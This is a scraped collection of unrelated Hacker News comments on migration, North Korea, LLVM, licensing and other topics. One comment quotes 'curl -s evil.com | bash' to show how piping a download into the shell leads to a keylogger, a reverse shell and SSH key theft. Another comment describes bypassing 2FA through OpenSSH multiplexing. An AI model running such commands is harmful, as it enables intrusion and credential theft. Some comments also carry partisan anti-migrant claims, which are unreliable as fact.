skysight-inc/HackerNews huggingface dataset:
Essentially "we care about privacy, until something comes up that scares the general public and makes us care less about privacy", a.k.a. Ohlocracy [1].

It also doesn't address the problem of abuse. Remember when the NSA agents spied on their spouses, girlfriends, and lovers [2]?

[1]: https://en.wikipedia.org/wiki/Ochlocracy

[2]: http://www.nydailynews.com/news/politics/nsa-analysts-spied-...
Since neither the article nor the comments here mention this: it is not at all clear that the launched object was a satellite. In fact, the available evidence -- including the fact that no transmissions have ever been detected from this or its three predecessors -- points towards it being an intercontinental ballistic missile test, and the "satellite" is just a cover story.

And there's precedent too: the Kwangmyongsong-1 deorbited almost immediately, but the launch was still hailed in the NK press as a total success, up to and including broadcasting songs extolling the virtues of Kims.

https://en.wikipedia.org/wiki/Kwangmy%C5%8Fngs%C5%8Fng-1
> open-minded

Most Eastern European countries are extremely against refugees from northern Africa and the middle East actually.
Great example of laws that start out innocent enough, but then become a vector for anti-competitive behavior by the incumbents. The laws that prevent tesla dealers from selling directly to consumers is another example.

These types of misguided laws should come with very short expirations (if they come at all).
If somebody can get you to run "curl -s evil.com | bash" then you are pwned. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
Number of immigrants going back to the middle east in this article is funny at best. Author gives few thousands here and there, but he doesn't give overall number - which seems to be around 10 000. And for a 1 000 000 migrants that are in Europe and another 1 000 000 incoming this is nothing - marginal case fitting into statistic error.
Chile today is not Chile in 1980 say. And Chile did not suffer massive economic embargos arranged by the US for 20 years nor was it bombed by a superpower for a decade. (The US dropped more bombs in Laos -- which wasn't even technically a combatant -- than were dropped on Europe in WWII.) The amount of damage inflicted on Vietnam by the US is simply unprecedented. (And let's not even get into the "free fire zones" the US declared late in the war where it would simply shoot peasants and call them insurgents.)

Vietnam is currently accused by Human Rights Watch of having "over 135" political prisoners. The scale of human rights abuse in Vietnam, at its worst, is utterly dwarfed by those in US client states in South America.
THAAD is theater ballistic missile defense. Not sure why China would care, particularly when the South Koreans don't have nuclear weapons.

There's quite a bit of evidence for nuclear armed US warships calling at South Korean ports, but US ships already have ballistic missile defenses.
Also worth mentioning an invaluable learning tool: 'cpp' backend in LLVM. It emits an idiomatic C++ code that generates any given IR module using the LLVM API.
Yeah, it should be able to handle that easily, since both bits and scores have static length 7. Note, however, that the loop version does no more or less [] indexing than the iterator/fold version.
You are misinformed.

According to the EU 60% of these people are economic migrants[1]. But lets continue killing Europe with compassion[2].

[1]http://www.telegraph.co.uk/news/worldnews/europe/eu/12123684...

[2]http://www.spectator.co.uk/2016/01/its-not-only-germany-that...
I fully agree. I agree even more, that those who started this whole mess (The US militant system) should also clean up their mess.

But this is exactly what they want to cause, chaos and civil unrest, so these same people who benefit from selling weapons to war zones, can push in more laws like the TTIP during times of civil unrest, to support their militant and money based control systems.
Step 2 in Australia after WW2 was basically:
- education
- counselling
- socialising

It worked well enough for the influx of Vietnamese refugees too.
When I hit a paywall, I just google the article title. Clicking through via the search result usually gives me a paywall experience.
Why? The customer isn't the consumer of bonds, it's the underwriters and borrowers.

By stamping shit debt as AAA, they were providing a wonderful level of service for their customers -- the bankers.
As a matter of interest, the school of thought you are describing is the Deontologists. In "Capitalism and Freedom" Milton Friedman captured this as:

> [Antidiscrimination] legislation involves the acceptance of a principle that proponents would find abhorrent in almost every other application. If it is appropriate for the state to say that individuals may not discriminate in employment because of color or race or religion, then it is equally appropriate for the state, provided a majority can be found to vote that way, to say that individuals must discriminate in employment on the basis of color, race or religion. The Hitler Nuremberg laws and the law in the Southern states imposing special disabilities upon Negroes are both
examples of laws similar in principle to [antidiscrimination legislation]

This is in contrast with a focus upon either consequence or virtues. Deontological theory falls down on some observed economic scenarios. For example, banker bonuses are generally deontological in nature, and as a result paid out quarterly regardless of performance; a consequentialist or "virtuist" might formulate banker bonuses on practical timelines or overall long-term results, in contrast.

In any case, what I thought was a reasonably balanced emperical study by John Donohue is worth reading [The Law and Economics of Antidiscrimination
Law] <http://digitalcommons.law.yale.edu/cgi/viewcontent.cgi?artic... (it is the paper from which I drew Milton's quote).
Just wrap it up in 5cm lead to protect it from alpha, beta and most gamma radiation.
The mediatek chipsets are the only thing out there if you need a lot of ram with reasonable power consumption for cheap.
The last screenshot in that article is from a UK website called Lings Cars (warning: audio plays automatically when you visit the website): http://www.lingscars.com/

It's owned by Ling Valetine who made an appearance in a British reality TV show called Dragon's Den where she pitched a business idea to investors (the US equivalent is Shark Tank).

The website seems to break all the usability rules we're accustomed to in the US and Europe, but that's definitely helped the site go viral:

http://www.marketingdonut.co.uk/marketing/pr/pr-opportunitie...
As someone who grew up in NYS but hasn't lived there in a while, that's a huge change; it used to be there was a special driver's ed that would let you drive between 9pm-9am, or somesuch (assuming it was not to/from school or a job) when 17, but back when I went through that process you could get at least that partial license at 16.
Headstones and funeral services were/are regulated because there has historically been a pattern of predatory behavior towards grieving relatives and older folks making arrangements.
You keep conflating me with this thread's OP and attributing to me quotes that are not mine.
Getting pretty tired of people who display this sort of selfish, trashy attitude towards others less fortunate than themselves.
Rock climbing meets augmented reality in New York
I presume you're referring to Lee's comments about Malay Muslims in Singapore? http://www.singapore-window.org/sw99/90915loy.htm

If you're going to talk about "integration" (read: assimilation), it's worth remembering that they were there first, and it's the Chinese immigrants who are now the majority that has sidelined them.
EasyPost Hiring Back End – API That Ships Millions
In India, ice was imported from the Himalayas in the 17th century https://en.wikipedia.org/wiki/Ice_trade
NHS England directory of mental health apps
Reasons to move are complicated. It's a mixture. When people make life choices they reasons are usually quite multi-faceted. Given this truth, it's important to examine all of the reasons and quantify them accurately without pushing your (anti-European, pro-European, or whatever) political agenda.
The UN Security Council has banned North Korea from developing ballistic missile technology. There's not much difference between a rocket that's capable of putting a satellite into orbit and an intercontinental ballistic missile. In fact, Sputnik was launched using an ICBM.
thx @RussianCow, so it's a client issue.
Because its impossible atm to intervene.

1. Seoul is reachable even by conventional weapons from NK

2. China uses NK to manipulate the west.

3. NK govt has millions of their own citizens as hostage( most of them willingly so).

4. There is no proof that NK is planning to follow up their saber rattling with real attacks.
It's funny how you can tell your political/idealogical leanings on this topic by your phrasing:

> I wonder, what is the percentage of those hundreds of thousands who do not have the same mindset.

Rather than wondering how many people do share that mindset you wonder how many do not share that mindset. This comes across (to me) as if you're coming from a starting position of "they all share this mindset" and are looking to see how wrong you are.
This quote is good too:

> “In the early days when we arrived, the people
> were impressed with us,” he said. “They were taking
> pictures of us, inviting us into their homes.
> They liked our brown skin and our dark hair.”

It seems people were mostly nice to them in Finland.
LLVM can even target the web (emscripten).
Could equally well happen if the code was released under GPL as long as all copyright holders agree?
I doubt the author has a first hand experience with the Chinese market:

- Typing Chinese with a keyboard isn't hard... at all. Pinyin input is about as straightforward and fast as typing in English.

- Internet in China isn't slow. That is as long as you're visiting sites that are hosted in China, which most people in China do. I used to be surprised actually at how good video streaming was when I first arrived in China (back when any film or TV show ever created could be watched for free).

There are two main reasons for the look of Chinese websites:

1. Chinese visitors have widely different expectations and a radically different culture. You can't expect recent trends in Web development to just spread in exactly the same way there. Even then, you can see simple UI and attention to UX are becoming more and more common (e.g. Xiaomi).

2. Search is hard to get right. Because of the way the Chinese language is structured, it is surprisingly harder than with Western languages to get right. A simple Porter stemmer gets you pretty far with English. It is an order of magnitude harder to match this level with the Chinese language. This forged behaviors among Internet users, who expect to browse and explore rather than search.
>what are they doing in EU [...] instead of fighting for their own country for better tomorrow (what all young men did in their age around the world since dawn of time)

Yeah, same as the people being persecuted by the Nazis in WW2. They should've just fought, the people leaving to other countries were really stupid. When deciding between a high possibility to die in the near future by staying in Syria and a low possibility to die soon by leaving the country, everyone obviously picks the high possibility because that seems more appealing. /s

And because you are talking about the fact that only healthy young man are fleeing: If you have the possibility to send family members to Europe: Who do you send? The 20-year old healthy male or the 85-year old grandma?

Edit: (In case it wasn't obvious from the writing style or you don't know /s, it marks sarcasm)
> the fact that no transmissions have ever been detected from this or its three predecessors

May not be true. KMS-2 supposedly played some songs for us. But wikipedia is not certain.

https://en.wikipedia.org/wiki/Kwangmy%C5%8Fngs%C5%8Fng-2#The...
Vietnamese communities tend to integrate well. At least in Easter Europe, in Poland or Czech Rep they are doing quite well, no issues at all.
Regardless to people's own position I think we can all agree that there is a lot of emotion, rhetoric, propaganda even, surrounding the refugee and migrant crises currently going on in Europe, the Middle East, and North Africa.

After speaking to a few colleagues in Europe, it makes me want to take a trip to Europe just to get an un-obfuscated picture of what's really going on.

Until then I'm going to try not to form particularly strong opinions on the matter.
She, and yes, that's the idea. I couldn't explain it very clearly.
This was confusing because it's a borderline case, so you were both right. 28 points is significant attention, but 0 comments is no discussion. That's unusual, and right on the boundary. A case like that probably needs to be called by the ref.

In this case, it's probably a good article because the site is known to be excellent, so we could probably have let it go through.
Versus? Why do you think the two are incompatible?

This is a guy who has lost three brothers, amidst a civil war that still has been killing more than a thousand of civilians per month. How much horror do you need to empathize?
Only in the fantasy world where people have the time and expertise to evaluate the relative merits of hairdresser ratings agencies.
Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself by design).

Perhaps some of the confusion here is that it is assumed ssh keys are in use? In an environment that requires 2FA, keys would not be allowed. People would be using RSA Tokens, Duo, Yubikeys, etc. This method bypassing those things.

It also means, anyone using the defaults in OpenSSH is not PCI compliant.

I am not even sure this method of access to development or production environments is even illegal, as the user is providing access and I am not hacking anything, nor am I using authentication into anything. The door is wide open. If this were a game of chess, I would get check-mate in 1 move.
> 2. ...

If they want to be integrated, it would be really helpful if they learned Finnish. The first guy in the article said he spent most of his time in the gym, and hanging out with other Iraqis, which isn't really going to help with integration.

Learning Finnish won't solve every problem of integration, but without it, I would suggest that integration is impossible.
> atmospheric lead from gasoline additives was a major source of lead

There's such a direct correlation with leaded gas and violent crime in USA. That it was likely a large if not the largest factor in the rise and fall of crime rates.

http://www.forbes.com/sites/alexknapp/2013/01/03/how-lead-ca...
I don't know that you're going to gain much insight from a fact-finding trip to Europe in the capacity of a tourist. A lot of the problem is subterranean and lurks in the shadows of European society, away from the outward presentation layer visible to a visitor, and aggregate numbers are best understood by policymakers and experts.

When you get off the plane in Europe and amble around, you'll probably find nothing has superficially changed much from the last time you were there--assuming you've been before.
This always happens.

Many of my grandparents generation immigrated to the US from Ireland in the 1920s and 30s. Not everyone stayed! 3-4 grand uncles and aunts moved back because they missed home, weren't making it, or missed farming.

It's hard to move into a different society, and as order is restored in places like Iraq, i think it is natural to see people return.
To be a little less speculatively brazen, consider Putin, who got elected (well, if he didn't totally cheat) on a campaign of resorting the Soviet dictatorship.
Much better, thanks to actual margins so the text isn't all pressed up against the side of the browser window reminding you what a bezel is.
This is particularly bad in college towns where almost all development is being done by a small handful of companies, who lure in students and then raise the rents for new tenants year over year until inflated rental prices become the norm.
Not to mention the fact that the reason urban areas have a reputation for crime, drug abuse, and other "social ills" is in large part due to "white fight" as it were.

Even setting aside the racial component for a second, it stands to reason that if cities are "tough" because everyone with the means toward a more stable and comfortable life moved to the suburbs, then many of those same issues with poverty and resulting crime and drug abuse would be lessened by un-segregating things.

If cities are rough because it's accepted that anyone with the means will leave, then they become less so when the urban/suburban split doesn't mirror the poor/rich (or white/minority) split.
CMake daemon for user tools
I lived in Taiwan for the largest portion of my adults life and also spent some time in Beijing working at a tech start-up (as hire #5). It's absolutely maddening seeing people who clearly have so little understanding of China or Chinese get so much attention when they write something like this.

Chinese does have separators and it's not difficult to use a keyboard, even in places like like Taiwan that don't use Pinyin. Despite having grown up speaking English, my typing speed using zhuyin input is not that different from my typing speed in English. My typing speed in pinyin is kind of slow (maybe 50-65% of my English typing speed) but only because it's not the system I'm used to.
Licence them fine! Don't require them to go to school. The schools are a rip-off. I had a girlfriend who went, and she was charged $15,000 (They didn't even teach her the dangers of hair straightening products. We had to learn this information on our own.)

So many currently licensed professions should remove the school requirement.

If you can pass a Hard state test, why not issue a licence?

Of the top of my head get rid of the education requirement for contractors, realtors(get rid of this profession all together, never understood the need for them.).

In California, under certain circumstances you can sit for the bar exam without going to school. I always felt if you can pass the bar, especially a hard exam, like CA, NY, why not let the person practice? Why make them go to joke non-ABA approved schools, and then take the test? Or, waste money in ABA approved law schools? Especially these days, when we have the Internet?
Those are striking photos of course. But neither are combat situations.
> He arrived in Belgium with this in mind:
> “I was expecting them to give me a house, a
> good job, so I could have a better life. This is
> what I was dreaming about.”

I'm not sure who seeded this somewhat pervasive meme in the heads of economic migrants, but it runs diametrically counter to actually-existing reality.
Well, South Korea (thankfully) doesn't have nukes, but we have lots of US military bases and they can easily have nukes.

Honestly, I don't see what difference a missile defense would make to SK, when North Korea can set Seoul in fire with artillery.

At least I understand that having a missile defense system right in front of China will help the US in its geopolitical game against China. What I don't understand is why our politicians think it's a good idea to act as a conspicuous pawn in this game.
I realize N Korea is pretty isolated, but China shares technology with the country right?

Doubtful at this level. The North Korean missile systems it sold to Syria (and Iran) in the early 2010s were NK development of earlier Soviet systems[1].

[1] http://www.theguardian.com/world/2013/jul/18/history-north-k...
First Lady of American Journalism is a horribly sexist and paternalistic title to give. It discredits her work. Reflective of the sexism of the time, though, that even a great leader of a field is imagined only as the Wife of something.
The real purpose of combating "rent seeking" in healthcare is to displace RNs with lower skilled LPNs, CNAs and other aides.

Since nurses actually deliver your care and have the training to actually help you, it is a cost saving measure of dubious value.

Of course, insurers and hospital cartels aren't rent seeking!
If you look at the the StackOverflow in my sibling comment to yours, running 'obj.attrname' on a namedtuple takes longer because it needs to translate 'attrname' to an integer index and then run (e.g.) 'obj[0]'. Outside of that, I'm not sure.
It's about them extracting some of the value they create. If you're not the most rational of decision makers, paying 1% of your wealth per year for 10 years to save you from losing 30% of it in a panic by selling at a low when the market crashes, then it's worth it. Now from that perspective think of all the people you know who may make stupid decisions like that (or just not investing in the most efficient way). The value to those people would surely be 1% per year. The question is how low can we drive the cost of those services via competition (of which robo advisors is one)?
Warning:

To add to the left/right discussion here about the diversification and islamification of Europe...

Some mod killed my account for one (ONE) post suggesting that the ethnic German family unit wants to carry on it's own civilization and not be swarmed by foreigners.

Random lefties are getting awfully terroristic and fascist. I had that account for 10 years with lots of karma.

Be careful what you say. The leftist thought police are really reckless on HN.
Whatever one's musings on the status and the notion of ethnic states etc., I don't think the situation is comparable. In my (our?) case (Baltic states), there was (more of) a concrete "bad Other", whereas in Syria a proxy war (or an array thereof) is taking place. One can perceive it as multiple groups of interest fighting, with the backing of multiple actors (and the background struggle of the extent of those actors and their backing is what might determine the outcome, if any).

It is easier to grok a meaningful armed struggle (which one may partake in, hypothetically) - after all, it is tangible and concrete, and there's always a bad side (isn't there), etc.; but in the completely messed up state of affairs that people in Syria find themselves in, one can't but deduce that they are in a war zone with no certain optimal equilibrium which one can attempt to bring the future to. And that is really a different picture altogether, I would think.
> How would say a corporate SSL/TLS proxy, which is effectively a MITM, bypass this security feature?

The whole idea of this security feature is that MITMs can't bypass it. It would be worthless if proxies could bypass it.
Yeah, that's kind of what the guy in the article thought, quote:

> He arrived in Belgium with this in mind:
> “I was expecting them to give me a house,
> a good job, so I could have a better life.
> This is what I was dreaming about.”
Self driving cars will make a big splash in the car for hire industry first. Then it just leads to cheaper taxis, uber so and deliveries.